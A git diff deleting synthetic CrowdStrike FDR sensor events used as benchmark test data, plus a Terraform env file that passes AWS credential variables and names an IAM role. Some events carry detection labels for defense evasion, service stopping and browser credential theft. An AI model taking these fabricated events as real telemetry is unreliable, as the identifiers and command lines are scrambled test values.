-{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"}
-{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"}
-{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"<redacted>","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\<redacted>.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\<redacted>.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"}
-{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"}
-{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"}
-{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"}
-{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","aip":"81.2.69.142","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","LocalAddressIP4":"81.2.69.192","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","aip":"81.2.69.142","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426,7796","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119,7140,7201,7410,7426,7781,7796,7869,7871,7873,10199,10517","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","aip":"81.2.69.142","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion, Impact","Technique":"Impair Defenses, Service Stop"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"KernelServiceStarted","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","aip":"81.2.69.142","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","aip":"81.2.69.142","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","LocalAddressIP4":"81.2.69.192","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","Attacks":[{"Tactic":"Persistence, Collection, Credential Access","Technique":"BrowserExtension, Browser Session Hijacking, Credentials from Web Browsers"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SensorAntiTamperState","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ServicesStatusInfo","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1694325680","aip":"81.2.69.142","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","cid":"4092825518eaf67377a6e4492ae44577","ServiceCurrentState":"4"}
-{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","aip":"81.2.69.142","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"}
-{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","aip":"81.2.69.142","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","aip":"81.2.69.142","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996","cid":"4092825518eaf67377a6e4492ae44577"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml
deleted file mode 100644
index 6e1f17f7a9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-version: '2.3'
-services:
-  terraform:
-    environment:
-      - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}
-      - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}
-      - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN}
-      - AWS_PROFILE=${AWS_PROFILE}
-      - AWS_REGION=${AWS_REGION:-us-east-1}
-      - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log
deleted file mode 100644
